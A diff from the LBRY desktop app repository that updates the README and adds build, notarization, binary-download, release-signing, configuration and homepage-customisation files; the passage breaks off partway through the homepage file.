## Table of Contents
|
||||
|
||||
1. [Install](#install)
|
||||
2. [Usage](#usage)
|
||||
3. [Running from Source](#running-from-source)
|
||||
4. [Contributing](#contributing)
|
||||
5. [License](#license)
|
||||
6. [Security](#security)
|
||||
7. [Contact](#contact)
|
||||
|
||||
## Install
|
||||
|
||||
[](https://lbry.com/get/lbry.exe)
|
||||
[](https://lbry.com/get/lbry.deb)
|
||||
[](https://lbry.com/get/lbry.dmg)
|
||||
|
||||
We provide installers for Windows, macOS (v10.12.4, Sierra, or greater), and Debian-based Linux. See community maintained builds section for alternative Linux installations.
|
||||
|
||||
| | Windows | macOS | Linux |
|
||||
@@ -33,10 +63,10 @@ To install from source or make changes to the application, continue to the next
|
||||
**Community maintained** builds for Arch Linux and Flatpak are available, see below. These installs will need to be updated manually as the in-app update process only supports Debian installs at this time.
|
||||
_Note: If coming from a deb install, the directory structure is different and you'll need to [migrate data](https://lbry.com/faq/backup-data)._
|
||||
|
||||
| | Flatpak | Arch | Raspberry Pi |
|
||||
| -------------- | ------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------- | ------------------------------------------- |
|
||||
| Latest Release | [FlatHub Page](https://flathub.org/apps/details/io.lbry.lbry-app) | [AUR Package](https://aur.archlinux.org/packages/lbry-app-bin/) | [Pi Installer](https://lbrypi.com) |
|
||||
| Maintainers | [@choofee](https://github.com/choffee)/[@iuyte](https://github.com/iuyte) | [@kcseb](https://github.com/kcseb)/[@TimurKiyivinski](https://github.com/TimurKiyivinski) | [@Madiator2011](https://github.com/kodxana) |
|
||||
| | Flatpak | Arch | ARM/ARM64 |
|
||||
| -------------- | ----------------------------------------------------------------- | ----------------------------------------------------------------------------------------- | ------------------------------------------- |
|
||||
| Latest Release | [FlatHub Page](https://flathub.org/apps/details/io.lbry.lbry-app) | [AUR Package](https://aur.archlinux.org/packages/lbry-app-bin/) | [Build Guide](https://lbry.tv/@LBRYarm:5) |
|
||||
| Maintainers | [@kcSeb](https://keybase.io/kcseb) | [@kcSeb](https://keybase.io/kcseb)/[@TimurKiyivinski](https://github.com/TimurKiyivinski) | [@Madiator2011](https://github.com/kodxana) |
|
||||
|
||||
## Usage
|
||||
|
||||
@@ -44,21 +74,86 @@ Double click the installed application to interact with the LBRY network.
|
||||
|
||||
## Running from Source
|
||||
|
||||
You can run the web version (lbry.tv), the electron app, or both at the same time.
|
||||
|
||||
#### Prerequisites
|
||||
|
||||
- [Git](https://git-scm.com/downloads)
|
||||
- [Node.js](https://nodejs.org/en/download/) (v10 required)
|
||||
- [Yarn](https://yarnpkg.com/en/docs/install)
|
||||
|
||||
#### Steps
|
||||
1. Clone (or [fork](https://help.github.com/articles/fork-a-repo/)) this repository: `git clone https://github.com/lbryio/lbry-desktop`
|
||||
2. Change directory into the cloned repository: `cd lbry-desktop`
|
||||
3. Install the dependencies: `yarn`
|
||||
|
||||
1. Clone (or [fork](https://help.github.com/articles/fork-a-repo/)) this repository: `git clone https://github.com/lbryio/lbry-desktop`
|
||||
2. Change directories into the downloaded folder: `cd lbry-desktop`
|
||||
3. Install the dependencies: `yarn`
|
||||
4. Compile the app and run it: `yarn dev`
|
||||
#### Run the electron app
|
||||
|
||||
If you want to just build the app you can run `yarn build`. This will give you an executable inside the `/dist` folder. We use [electron-builder](https://github.com/electron-userland/electron-builder) to create
|
||||
distributable packages.
|
||||
`yarn compile:electron` (this is only needed the first time you run the app)
|
||||
|
||||
`yarn dev`
|
||||
|
||||
- If you want to build and launch the production app you can run `yarn build`. This will give you an executable inside the `/dist` folder. We use [electron-builder](https://github.com/electron-userland/electron-builder) to create distributable packages.
|
||||
|
||||
#### Run the web app for development
|
||||
|
||||
`yarn compile:web` (this is only needed the first time you run the app)
|
||||
|
||||
`yarn dev:web`
|
||||
|
||||
- This uses webpack-dev-server and includes hot-reloading. If you want to debug the [web server we use in production](https://github.com/lbryio/lbry-desktop/blob/master/src/platforms/web/server.js) you can run `yarn dev:web-server`. This starts a server at `localhost:1337` and does not include hot reloading.
|
||||
|
||||
#### Customize the web app
|
||||
|
||||
- In root directory, duplicate the .env.default file and rename it to .env then copy the code below and paste it anywhere in the .env file.
|
||||
|
||||
```
|
||||
cp .env.defaults .env
|
||||
nano .env
|
||||
```
|
||||
- To specify your own OG-IMAGE
|
||||
You can either place a png named v2-og.png in the /custom folder or specify the OG_IMAGE_URL in .env
|
||||
|
||||
- To specify your own channels to be followed on first run
|
||||
`AUTO_FOLLOW_URLS=lbry://@chan#123...a lbry://@chan2#456...a`
|
||||
|
||||
- If you want to customize the homepage content
|
||||
|
||||
1. add `CUSTOM_HOMEPAGE=true` to the '.env' file
|
||||
2. copy `/custom/homepage.example.js` to `/custom/homepage.js` and make desired changes to `homepage.js`
|
||||
|
||||
- If you want up to two custom sidebar links
|
||||
|
||||
```
|
||||
PINNED_URI_1=@someurl#2/someclaim#4
|
||||
PINNED_LABEL_1=Linktext
|
||||
|
||||
PINNED_URI_2=$/discover?t=tag&[queryparams]
|
||||
PINNED_LABEL_2=OtherLinkText
|
||||
```
|
||||
|
||||
- Finally `NODE_ENV=production yarn compile:web` to rebuild
|
||||
_Note: You don't need to edit the .env file in the /web folder - that is copied during compile._
|
||||
|
||||
#### Deploy the web app (_experimental_)
|
||||
|
||||
1. Create a server with a domain name and a reverse proxy https to port 1337.
|
||||
2. Install pm2, node v10, yarn
|
||||
3. Clone this repo
|
||||
4. Make any customizations as above
|
||||
5. Run `yarn` to install
|
||||
6. Run `NODE_ENV=production yarn compile:web` to build
|
||||
7. Set up pm2 to start ./web/index.js
|
||||
|
||||
#### Run both at the same time
|
||||
|
||||
Run the two commands above in separate terminal windows
|
||||
|
||||
```
|
||||
yarn dev
|
||||
|
||||
// in another terminal window
|
||||
yarn dev:web
|
||||
```
|
||||
|
||||
#### Resetting your Packages
|
||||
|
||||
@@ -78,7 +173,7 @@ This project is MIT licensed. For the full license, see [LICENSE](LICENSE).
|
||||
|
||||
## Security
|
||||
|
||||
We take security seriously. Please contact security@lbry.com regarding any security issues. Our PGP key is [here](https://keybase.io/lbry/key.asc) if you need it.
|
||||
We take security seriously. Please contact security@lbry.com regarding any security issues. Our PGP key is [here](https://keybase.io/lbry/key.asc) if you need it. All releases are signed by [Sean Yesmunt](https://keybase.io/seanyesmunt/key.asc).
|
||||
|
||||
## Contact
|
||||
|
||||
|
||||
@@ -0,0 +1,16 @@
|
||||
module.exports = api => {
|
||||
api.cache(false);
|
||||
|
||||
return {
|
||||
presets: [['@babel/env', { loose: true, modules: false }], '@babel/react', '@babel/flow'],
|
||||
plugins: [
|
||||
'import-glob',
|
||||
'@babel/plugin-transform-runtime',
|
||||
['@babel/plugin-proposal-decorators', { decoratorsBeforeExport: true }],
|
||||
'@babel/plugin-transform-flow-strip-types',
|
||||
'@babel/plugin-proposal-class-properties',
|
||||
'react-hot-loader/babel',
|
||||
],
|
||||
ignore: [/node_modules/],
|
||||
};
|
||||
};
|
||||
@@ -0,0 +1,12 @@
|
||||
const fs = require('fs');
|
||||
|
||||
module.exports = async function(params) {
|
||||
const { artifactPaths } = params;
|
||||
|
||||
for (var i = 0; i < artifactPaths.length; i++) {
|
||||
const artifactPath = artifactPaths[i];
|
||||
if (artifactPath.includes('.blockmap') || artifactPath.includes('.zip')) {
|
||||
fs.unlinkSync(artifactPath);
|
||||
}
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,33 @@
|
||||
// See: https://medium.com/@TwitterArchiveEraser/notarize-electron-apps-7a5f988406db
|
||||
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
var electron_notarize = require('electron-notarize');
|
||||
|
||||
module.exports = async function() {
|
||||
if (process.env.RUNNER_OS !== 'macOS') {
|
||||
return;
|
||||
}
|
||||
|
||||
const appId = 'io.lbry.LBRY';
|
||||
const appPath = path.resolve(__dirname, '../dist/electron/mac/LBRY.app');
|
||||
|
||||
if (!fs.existsSync(appPath)) {
|
||||
throw new Error(`Cannot find application at: ${appPath}`);
|
||||
}
|
||||
|
||||
console.log(`Notarizing ${appId} found at ${appPath}`);
|
||||
|
||||
try {
|
||||
await electron_notarize.notarize({
|
||||
appBundleId: appId,
|
||||
appPath: appPath,
|
||||
appleId: process.env.NOTARIZATION_USERNAME,
|
||||
appleIdPassword: process.env.NOTARIZATION_PASSWORD,
|
||||
});
|
||||
} catch (error) {
|
||||
console.error(error);
|
||||
}
|
||||
|
||||
console.log(`Done notarizing ${appId}`);
|
||||
};
|
||||
@@ -71,7 +71,7 @@ const downloadDaemon = targetPlatform =>
|
||||
})
|
||||
)
|
||||
.then(() => {
|
||||
console.log('\x1b[32msuccess\x1b[0m Daemon downloaded!');
|
||||
console.log(`\x1b[32msuccess\x1b[0m Daemon downloaded! - v${daemonVersion}`);
|
||||
if (hasDaemonVersion) {
|
||||
del(daemonVersionPath);
|
||||
}
|
||||
|
||||
@@ -0,0 +1,91 @@
|
||||
const path = require('path');
|
||||
const fs = require('fs');
|
||||
const packageJSON = require('../package.json');
|
||||
const fetch = require('node-fetch');
|
||||
const decompress = require('decompress');
|
||||
const os = require('os');
|
||||
const del = require('del');
|
||||
|
||||
const downloadLBRYFirst = targetPlatform =>
|
||||
new Promise((resolve, reject) => {
|
||||
const lbryFirstURLTemplate = packageJSON.lbrySettings.LBRYFirstUrlTemplate;
|
||||
const lbryFirstVersion = packageJSON.lbrySettings.LBRYFirstVersion;
|
||||
const lbryFirstDir = path.join(__dirname, '..', packageJSON.lbrySettings.LBRYFirstDir);
|
||||
let lbryFirstFileName = packageJSON.lbrySettings.LBRYFirstFileName;
|
||||
|
||||
const currentPlatform = os.platform();
|
||||
|
||||
let lbryFirstPlatform = process.env.TARGET || targetPlatform || currentPlatform;
|
||||
if (lbryFirstPlatform === 'linux') lbryFirstPlatform = 'Linux';
|
||||
if (lbryFirstPlatform === 'mac' || lbryFirstPlatform === 'darwin') lbryFirstPlatform = 'Darwin';
|
||||
if (lbryFirstPlatform === 'win32' || lbryFirstPlatform === 'windows') {
|
||||
lbryFirstPlatform = 'Windows';
|
||||
lbryFirstFileName += '.exe';
|
||||
}
|
||||
const lbryFirstFilePath = path.join(lbryFirstDir, lbryFirstFileName);
|
||||
const lbryFirstVersionPath = path.join(__dirname, 'lbryFirst.ver');
|
||||
const tmpZipPath = path.join(__dirname, '..', 'dist', 'lbryFirst.zip');
|
||||
const lbryFirstURL = lbryFirstURLTemplate.replace(/LBRYFIRSTVER/g, lbryFirstVersion).replace(/OSNAME/g, lbryFirstPlatform);
|
||||
console.log('URL:', lbryFirstURL);
|
||||
|
||||
// If a lbryFirst and lbryFirst.ver exists, check to see if it matches the current lbryFirst version
|
||||
const hasLbryFirstDownloaded = fs.existsSync(lbryFirstFilePath);
|
||||
const hasLbryFirstVersion = fs.existsSync(lbryFirstVersionPath);
|
||||
let downloadedLbryFirstVersion;
|
||||
|
||||
if (hasLbryFirstVersion) {
|
||||
downloadedLbryFirstVersion = fs.readFileSync(lbryFirstVersionPath, 'utf8');
|
||||
}
|
||||
|
||||
if (hasLbryFirstDownloaded && hasLbryFirstVersion && downloadedLbryFirstVersion === lbryFirstVersion) {
|
||||
console.log('\x1b[34minfo\x1b[0m LbryFirst already downloaded');
|
||||
resolve('Done');
|
||||
} else {
|
||||
console.log('\x1b[34minfo\x1b[0m Downloading lbryFirst...');
|
||||
fetch(lbryFirstURL, {
|
||||
method: 'GET',
|
||||
headers: {
|
||||
'Content-Type': 'application/zip',
|
||||
},
|
||||
})
|
||||
.then(response => response.buffer())
|
||||
.then(
|
||||
result =>
|
||||
new Promise((newResolve, newReject) => {
|
||||
const distPath = path.join(__dirname, '..', 'dist');
|
||||
const hasDistFolder = fs.existsSync(distPath);
|
||||
|
||||
if (!hasDistFolder) {
|
||||
fs.mkdirSync(distPath);
|
||||
}
|
||||
|
||||
fs.writeFile(tmpZipPath, result, error => {
|
||||
if (error) return newReject(error);
|
||||
return newResolve();
|
||||
});
|
||||
})
|
||||
)
|
||||
.then(() => del(`${lbryFirstFilePath}*`))
|
||||
.then()
|
||||
.then(() =>
|
||||
decompress(tmpZipPath, lbryFirstDir, {
|
||||
filter: file => path.basename(file.path) === lbryFirstFileName,
|
||||
})
|
||||
)
|
||||
.then(() => {
|
||||
console.log('\x1b[32msuccess\x1b[0m LbryFirst downloaded!');
|
||||
if (hasLbryFirstVersion) {
|
||||
del(lbryFirstVersionPath);
|
||||
}
|
||||
|
||||
fs.writeFileSync(lbryFirstVersionPath, lbryFirstVersion, 'utf8');
|
||||
resolve('Done');
|
||||
})
|
||||
.catch(error => {
|
||||
console.error(`\x1b[31merror\x1b[0m LbryFirst download failed due to: \x1b[35m${error}\x1b[0m`);
|
||||
reject(error);
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
downloadLBRYFirst();
|
||||
@@ -0,0 +1,158 @@
|
||||
const { Octokit } = require('@octokit/rest');
|
||||
const octokit = new Octokit();
|
||||
var wget = require('node-wget');
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
const { exec } = require('child_process');
|
||||
const readline = require('readline');
|
||||
|
||||
// Global generated from cli prompt
|
||||
let versionToSign;
|
||||
|
||||
// Why can't I do this with 'fs'? :/
|
||||
function deleteFolderRecursive(path) {
|
||||
if (fs.existsSync(path)) {
|
||||
fs.readdirSync(path).forEach(function(file, index) {
|
||||
var curPath = path + '/' + file;
|
||||
if (fs.lstatSync(curPath).isDirectory()) {
|
||||
// recurse
|
||||
deleteFolderRecursive(curPath);
|
||||
} else {
|
||||
// delete file
|
||||
fs.unlinkSync(curPath);
|
||||
}
|
||||
});
|
||||
fs.rmdirSync(path);
|
||||
}
|
||||
}
|
||||
|
||||
// Initial setup
|
||||
// Create a file to store the hashes (creates a new copy if one exists)
|
||||
const downloadPath = path.resolve(__dirname, '../dist/releaseDownloads');
|
||||
const fileToSign = path.resolve(downloadPath, '../hashes.txt');
|
||||
|
||||
fs.openSync(fileToSign, 'w');
|
||||
|
||||
if (!fs.existsSync(downloadPath)) {
|
||||
fs.mkdirSync(downloadPath);
|
||||
} else {
|
||||
deleteFolderRecursive(downloadPath);
|
||||
fs.mkdirSync(downloadPath);
|
||||
}
|
||||
|
||||
//
|
||||
// Below is the actual code that downloads, hashes, and signs the release
|
||||
//
|
||||
function cleanUpAfterSigning() {
|
||||
fs.unlinkSync(fileToSign);
|
||||
deleteFolderRecursive(downloadPath);
|
||||
console.log('Good to go captain');
|
||||
process.exit(0);
|
||||
}
|
||||
|
||||
function signFile() {
|
||||
console.log('Logging in file with hashes using keybase...');
|
||||
// All files are hashed and added to hashes.txt
|
||||
// Sign it with keybase
|
||||
const fileName = `LBRY_${versionToSign}_sigs.asc`;
|
||||
|
||||
const pathForSignedFile = path.resolve(__dirname, `../dist/${fileName}`);
|
||||
exec(`keybase pgp sign -i ${fileToSign} -c -o ${pathForSignedFile}`, err => {
|
||||
if (err) {
|
||||
console.log('Error signing file with keybase');
|
||||
}
|
||||
|
||||
cleanUpAfterSigning();
|
||||
});
|
||||
}
|
||||
|
||||
function hashFiles() {
|
||||
console.log('Hashing assets downloaded from github...');
|
||||
|
||||
fs.readdir(downloadPath, function(err, items) {
|
||||
if (err) {
|
||||
console.log('Error signing files in ', downloadPath);
|
||||
}
|
||||
|
||||
let count = 0;
|
||||
for (var i = 0; i < items.length; i++) {
|
||||
const file = items[i];
|
||||
const filePath = path.resolve(__dirname, '../dist/releaseDownloads/', file);
|
||||
exec(`sha256sum ${filePath}`, (err, stdout) => {
|
||||
if (err) {
|
||||
console.log('Error hashing ', filePath);
|
||||
}
|
||||
|
||||
count += 1;
|
||||
const hash = stdout.split(' ')[0];
|
||||
const stringToAppend = `${hash} ${file}\n`;
|
||||
fs.appendFileSync(fileToSign, stringToAppend);
|
||||
|
||||
if (count === items.length - 1) {
|
||||
signFile();
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
let downloadCount = 0;
|
||||
let fileCountToDownload;
|
||||
function downloadFile(fileName, url) {
|
||||
wget(
|
||||
{
|
||||
url: url,
|
||||
dest: `${downloadPath}/`,
|
||||
},
|
||||
(error, response, body) => {
|
||||
console.log(`Finished downloading `, fileName);
|
||||
downloadCount += 1;
|
||||
|
||||
if (downloadCount === fileCountToDownload) {
|
||||
hashFiles();
|
||||
}
|
||||
}
|
||||
);
|
||||
}
|
||||
|
||||
function downloadAssets() {
|
||||
console.log('Downloading release assets...');
|
||||
octokit.repos
|
||||
.getReleaseByTag({
|
||||
owner: 'lbryio',
|
||||
repo: 'lbry-desktop',
|
||||
tag: versionToSign,
|
||||
})
|
||||
.then(({ data }) => {
|
||||
const release_id = data.id;
|
||||
|
||||
return octokit.repos.listReleases({
|
||||
owner: 'lbryio',
|
||||
repo: 'lbry-desktop',
|
||||
release_id,
|
||||
});
|
||||
})
|
||||
.then(({ data }) => {
|
||||
const releaseToDownload = data.filter(releaseData => releaseData.tag_name === versionToSign)[0];
|
||||
const assets = releaseToDownload.assets;
|
||||
fileCountToDownload = assets.length;
|
||||
assets
|
||||
.map(({ browser_download_url, name }) => ({ download_url: browser_download_url, name }))
|
||||
.forEach(({ name, download_url }) => {
|
||||
const fileName = path.resolve(__dirname, `../dist/releaseDownloads/${name}`);
|
||||
downloadFile(fileName, download_url);
|
||||
});
|
||||
})
|
||||
.catch(error => console.log('Error downloading releases ', error));
|
||||
}
|
||||
|
||||
const rl = readline.createInterface({
|
||||
input: process.stdin,
|
||||
output: process.stdout,
|
||||
});
|
||||
|
||||
rl.question('Version to sign: ', function(version) {
|
||||
const tag = version.startsWith('v') ? version : `v${version}`;
|
||||
versionToSign = tag;
|
||||
downloadAssets();
|
||||
});
|
||||
@@ -0,0 +1,51 @@
|
||||
// On Web, this will find .env.defaults and optional .env in web/
|
||||
// On Desktop App, this will find .env.defaults and optional .env in root dir
|
||||
require('dotenv-defaults').config({ silent: false });
|
||||
|
||||
const config = {
|
||||
MATOMO_URL: process.env.MATOMO_URL,
|
||||
MATOMO_ID: process.env.MATOMO_ID,
|
||||
WEBPACK_WEB_PORT: process.env.WEBPACK_WEB_PORT,
|
||||
WEBPACK_ELECTRON_PORT: process.env.WEBPACK_ELECTRON_PORT,
|
||||
WEB_SERVER_PORT: process.env.WEB_SERVER_PORT,
|
||||
LBRY_WEB_API: process.env.LBRY_WEB_API, //api.lbry.tv',
|
||||
LBRY_API_URL: process.env.LBRY_API_URL, //api.lbry.com',
|
||||
LBRY_WEB_STREAMING_API: process.env.LBRY_WEB_STREAMING_API, //cdn.lbryplayer.xyz',
|
||||
LBRY_WEB_BUFFER_API: process.env.LBRY_WEB_BUFFER_API,
|
||||
COMMENT_SERVER_API: process.env.COMMENT_SERVER_API,
|
||||
WELCOME_VERSION: process.env.WELCOME_VERSION,
|
||||
DOMAIN: process.env.DOMAIN,
|
||||
SHARE_DOMAIN_URL: process.env.SHARE_DOMAIN_URL,
|
||||
URL: process.env.URL,
|
||||
THUMBNAIL_CDN_URL: process.env.THUMBNAIL_CDN_URL,
|
||||
SITE_TITLE: process.env.SITE_TITLE,
|
||||
SITE_NAME: process.env.SITE_NAME,
|
||||
SITE_DESCRIPTION: process.env.SITE_DESCRIPTION,
|
||||
SITE_HELP_EMAIL: process.env.SITE_HELP_EMAIL,
|
||||
LOGO_TITLE: process.env.LOGO_TITLE,
|
||||
OG_TITLE_SUFFIX: process.env.OG_TITLE_SUFFIX,
|
||||
OG_HOMEPAGE_TITLE: process.env.OG_HOMEPAGE_TITLE,
|
||||
OG_IMAGE_URL: process.env.OG_IMAGE_URL,
|
||||
YRBL_HAPPY_IMG_URL: process.env.YRBL_HAPPY_IMG_URL,
|
||||
YRBL_SAD_IMG_URL: process.env.YRBL_SAD_IMG_URL,
|
||||
SITE_CANONICAL_URL: process.env.SITE_CANONICAL_URL,
|
||||
DEFAULT_LANGUAGE: process.env.DEFAULT_LANGUAGE,
|
||||
AUTO_FOLLOW_CHANNELS: process.env.AUTO_FOLLOW_CHANNELS,
|
||||
UNSYNCED_SETTINGS: process.env.UNSYNCED_SETTINGS,
|
||||
ENABLE_COMMENT_REACTIONS: process.env.ENABLE_COMMENT_REACTIONS === 'true',
|
||||
ENABLE_FILE_REACTIONS: process.env.ENABLE_FILE_REACTIONS === 'true',
|
||||
ENABLE_CREATOR_REACTIONS: process.env.ENABLE_CREATOR_REACTIONS === 'true',
|
||||
CHANNEL_STAKED_LEVEL_VIDEO_COMMENTS: process.env.CHANNEL_STAKED_LEVEL_VIDEO_COMMENTS,
|
||||
SIMPLE_SITE: process.env.SIMPLE_SITE === 'true',
|
||||
SHOW_ADS: process.env.SHOW_ADS === 'true',
|
||||
PINNED_URI_1: process.env.PINNED_URI_1,
|
||||
PINNED_LABEL_1: process.env.PINNED_LABEL_1,
|
||||
PINNED_URI_2: process.env.PINNED_URI_2,
|
||||
PINNED_LABEL_2: process.env.PINNED_LABEL_2,
|
||||
KNOWN_APP_DOMAINS: process.env.KNOWN_APP_DOMAINS ? process.env.KNOWN_APP_DOMAINS.split(',') : [],
|
||||
};
|
||||
|
||||
config.URL_LOCAL = `http://localhost:${config.WEB_SERVER_PORT}`;
|
||||
config.URL_DEV = `http://localhost:${config.WEBPACK_WEB_PORT}`;
|
||||
|
||||
module.exports = config;
|
||||
@@ -0,0 +1,306 @@
|
||||
// @flow
|
||||
|
||||
/*
|
||||
Creating custom homepage items
|
||||
1) in web/ folder, copy `.env.defaults` to `.env` and make CUSTOM_HOMEPAGE=true
|
||||
2) copy this file to homepage.js
|
||||
3) Create item objects
|
||||
{
|
||||
title, // how the title link displays
|
||||
link, // where the title link goes
|
||||
options // what search results populate the homepage item
|
||||
}
|
||||
4) rowData.push(item) for each item in the order you want them
|
||||
|
||||
Item object examples:
|
||||
Specific Channel
|
||||
|
||||
const LATEST_FROM_%CHANNEL% = {
|
||||
title: 'Latest From @%channel%',
|
||||
link: `/@%channelName%:%canonicalId%`,
|
||||
options: {
|
||||
orderBy: ['release_time'],
|
||||
pageSize: 4,
|
||||
channelIds: ['%channelId%'],
|
||||
},
|
||||
};
|
||||
|
||||
More complex List of channels with description icon filtering by fee_amount etc are possible
|
||||
|
||||
SOME_CHANNEL_IDS = ['channelId1', 'channelId2']
|
||||
SOME_TAG = '
|
||||
const SOME_CHANNELS_ITEM = {
|
||||
title: '#aTitle',
|
||||
link: `/$/${PAGES.DISCOVER}?${CS.TAGS_KEY}=aTag&fee_amount=>0&${CS.CLAIM_TYPE}=${CS.CLAIM_STREAM}&${
|
||||
CS.CHANNEL_IDS_KEY
|
||||
}=${SOME_CHANNEL_IDS.join(',')}`,
|
||||
help: (
|
||||
<div className="claim-grid__help">
|
||||
<Icon
|
||||
icon={ICONS.HELP}
|
||||
tooltip
|
||||
customTooltipText={__(
|
||||
'Some tooltip text.'
|
||||
)}
|
||||
/>
|
||||
</div>
|
||||
),
|
||||
options: { // search options
|
||||
feeAmount: '>0',
|
||||
claimType: ['stream'],
|
||||
tags: ['tagOne', 'tagTwo'],
|
||||
pageSize: 8,
|
||||
channelIds: SOME_CHANNEL_IDS,
|
||||
},
|
||||
};
|
||||
*/
|
||||
import * as PAGES from 'constants/pages';
|
||||
import * as CS from 'constants/claim_search';
|
||||
import * as ICONS from 'constants/icons';
|
||||
import { parseURI } from 'lbry-redux';
|
||||
import moment from 'moment';
|
||||
import { toCapitalCase } from 'util/string';
|
||||
import React from 'react';
|
||||
import Icon from 'component/common/icon';
|
||||
|
||||
export type RowDataItem = {
|
||||
title: string,
|
||||
link?: string,
|
||||
help?: any,
|
||||
options?: {},
|
||||
};
|
||||
|
||||
export default function GetHomePageRowData(
|
||||
authenticated: boolean,
|
||||
showPersonalizedChannels: boolean,
|
||||
showPersonalizedTags: boolean,
|
||||
subscribedChannels: Array<Subscription>,
|
||||
followedTags: Array<Tag>,
|
||||
showIndividualTags: boolean
|
||||
) {
|
||||
let rowData: Array<RowDataItem> = [];
|
||||
const individualTagDataItems: Array<RowDataItem> = [];
|
||||
const PAID_BETA_CHANNEL_IDS_KEY = [
|
||||
'4ee7cfaf1fc50a6df858ed0b99c278d633bccca9',
|
||||
'5af39f818f668d8c00943c9326c5201c4fe3c423',
|
||||
'cda9c4e92f19d6fe0764524a2012056e06ca2055',
|
||||
'760da3ba3dd85830a843beaaed543a89b7a367e7',
|
||||
'40c36948f0da072dcba3e4833e90f71e16de78be',
|
||||
'e8f68563d242f6ac9784dcbc41dd86c28a9391d6',
|
||||
'7236fc5d2783ea7314d9076ae6c8a250e3992d1a',
|
||||
'8627af93c1a1219150f06b698f4b33e6ed2f1c1e',
|
||||
'c5b0b17838df2f6c31162f64d55f60f34ae8bfc6',
|
||||
'f576d5dba905fc179de880c3fe3eb3281ea74f59',
|
||||
'97dd77c93c9603cbb2583f3589f7f5a6c92baa43',
|
||||
'f399d873e0c37cf24de9569b5f22bbb30a5c6709',
|
||||
'dba870d0620d41b2b9a152c961e0c06cf875ccfc',
|
||||
'ca1fd651c9d14bf2e5088bb2aa0146ee7aeb2ae0',
|
||||
'50ad846a4b1543b847bf3fdafb7b45f6b2f5844c',
|
||||
'e09ff5abe9fb44dd0dd0576894a6db60a6211603',
|
||||
'7b6f7517f6b816827d076fa0eaad550aa315a4e7',
|
||||
'2068452c41d8da3bd68961335da0072a99258a1a',
|
||||
'3645cf2f5d0bdac0523f945be1c3ff60758f7845',
|
||||
'4da85b12244839d6368b9290f1619ff9514ab2a8',
|
||||
'4ad942982e43326c7700b1b6443049b3cfd82161',
|
||||
'55304f219244abf82f684f759cc0c7769242f3b4',
|
||||
'8f42e5b592bb7f7a03f4a94a86a41b1236bb099f',
|
||||
'e2a014d885a48f5be2dc6409610996337312facb',
|
||||
'c18996ca488753f714d36d4654715927c1d7f9c2',
|
||||
'ebc4214424cfa683a7046e1f794fea1e44788d84',
|
||||
'06b6d6d6a893fb589ec2ded948f5122856921ed5',
|
||||
'07e4546674268fc0222b2ca22d31d0549dc217ee',
|
||||
'060940e41973d4f7f16d72a2733138e931c35f41',
|
||||
'f8d6eccd887c9cebd36b1d42aa349279b7f5c3ed',
|
||||
'68098b8426f967b8d04cc566348b5c128823219e',
|
||||
'2bfe6cdb24a21bdc1b76fb7c416edd50e9e85945',
|
||||
'1f9bb08bfa2259629f4aaa9ed40f97e9a41b6fa1',
|
||||
'2f20148495612946675fe1c8ea99171e4d950b81',
|
||||
'bc6938fa1e09e840056c2e831abf9664f397c472',
|
||||
'2a6194792beac5130641e932b5ac6e5a99b5ca4f',
|
||||
'185ba2bd547a5e4a77d29fe6c1484f47db5e058f',
|
||||
'29cc7f6081268eaa5b3f2946e0cd0b952a94812c',
|
||||
'ffdc62ac2f7549398d3aca9d2119e83d80d588d5',
|
||||
'd7a4d2808074b0c55d6b239f69d90e7a4930f943',
|
||||
'd58aa4a0b2f6c2504c3abce8de3f1afb71800acc',
|
||||
'77ae23dc7eb8a75609881d4548a79e4935a89d37',
|
||||
'f79bce8a60fbece671f6265adc39f6469f3b9b8c',
|
||||
'051995fdf0af634e4911704057a551e9392e62b1',
|
||||
'b0e489f986c345aef23c4a48d91cbcf5a6fdb9ac',
|
||||
'825aa21c8c0bda4ded3e69a69238763c8cfcc13b',
|
||||
'49389450b1241f5d8f4c8c4271a3eb56bba33965',
|
||||
'f3b9973e1725ecb50da3e6fa4d47343c98ef0382',
|
||||
'321b33d22c8e24ef207e3f357a4573f6a56611f3',
|
||||
'20d694ada07e740c6fa43a8c324cb7d6e362b5ee',
|
||||
'cf7792c2a37d0d76aaaff84aff0b99a8c791429d',
|
||||
'8316ac90764fedf3147799b7b81a6575a9cc398e',
|
||||
'8972a1bd06de5186e5e89292b05aac8aaa817791',
|
||||
'5da63df97c8255ae94a88940695b8471657dd5a1',
|
||||
'f3da2196b5151570d980b34d311ee0973225a68e',
|
||||
'7644fdb8342624f6c647c79de25610801573fa68',
|
||||
];
|
||||
|
||||
const TV_PAID_BETA_ROW = {
|
||||
title: '#lbrytvpaidbeta',
|
||||
link: `/$/${PAGES.DISCOVER}?${CS.TAGS_KEY}=lbrytvpaidbeta&fee_amount=>0&${CS.CLAIM_TYPE}=${CS.CLAIM_STREAM}&${
|
||||
CS.CHANNEL_IDS_KEY
|
||||
}=${PAID_BETA_CHANNEL_IDS_KEY.join(',')}`,
|
||||
help: (
|
||||
<div className="claim-grid__help">
|
||||
<Icon
|
||||
icon={ICONS.HELP}
|
||||
tooltip
|
||||
customTooltipText={__(
|
||||
'Check your rewards page to see if you qualify for paid content reimbursement. Only content in this section qualifies.'
|
||||
)}
|
||||
/>
|
||||
</div>
|
||||
),
|
||||
options: {
|
||||
feeAmount: '>0',
|
||||
claimType: ['stream'],
|
||||
tags: ['lbrytvpaidbeta', 'lbry tvpaidbeta'],
|
||||
pageSize: 8,
|
||||
channelIds: PAID_BETA_CHANNEL_IDS_KEY,
|
||||
},
|
||||
};
|
||||
|
||||
if (followedTags.length) {
|
||||
followedTags.forEach((tag: Tag) => {
|
||||
individualTagDataItems.push({
|
||||
title: `Trending for #${toCapitalCase(tag.name)}`,
|
||||
link: `/$/${PAGES.DISCOVER}?t=${tag.name}`,
|
||||
options: {
|
||||
pageSize: 4,
|
||||
tags: [tag.name],
|
||||
claimType: ['stream'],
|
||||
},
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
const RECENT_FROM_FOLLOWING = {
|
||||
title: 'Recent From Following',
|
||||
link: `/$/${PAGES.CHANNELS_FOLLOWING}`,
|
||||
options: {
|
||||
orderBy: ['release_time'],
|
||||
releaseTime:
|
||||
subscribedChannels.length > 20
|
||||
? `>${Math.floor(
|
||||
moment()
|
||||
.subtract(6, 'months')
|
||||
.startOf('week')
|
||||
.unix()
|
||||
)}`
|
||||
: `>${Math.floor(
|
||||
moment()
|
